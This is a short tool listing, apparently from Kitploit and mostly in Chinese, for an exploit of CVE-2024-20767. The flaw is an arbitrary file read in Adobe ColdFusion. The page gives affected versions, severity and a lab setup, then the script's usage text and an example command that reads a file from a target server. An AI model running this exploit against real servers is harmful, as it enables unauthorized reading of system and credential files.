CVE-2024-20767 — Exploit for CVE-2024-20767 - Adobe ColdFusion | Kitploit

CVE-2024-20767

CVE-2024-20767 - Adobe ColdFusion 中存在权限控制不当漏洞，可导致任意文件系统读取

更多信息请参考 ma4ter 博客文章：Adobe ColdFusion任意文件读取漏洞CVE-2024-20767分析

adobecoldfusionlogo

受影响的产品和版本：

产品	受影响版本
ColdFusion 2023	Update 6 及更早版本
ColdFusion 2021	Update 12 及更早版本

CVSS 评分： 8.2
已遭主动利用： 是
补丁： 是
缓解措施： 否

实验室环境

你可以使用 Adobe 的免费试用版部署 ColdFusion 服务器：

下载 ColdFusion

帮助

usage: CVE-2024-20767.py [-h] -t TARGET [-p PORT] -c COMMAND

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Target Adobe ColdFusion Server URL
  -p PORT, --port PORT  Target Adobe ColdFusion Server Port, by default we use the 8500 Port
  -c COMMAND, --command COMMAND
                        Path to read file

示例：

python CVE-2024-20767.py -t http://192.168.124.203 -p 8500 -c Windows/ServerStandardEval.xml

参考资料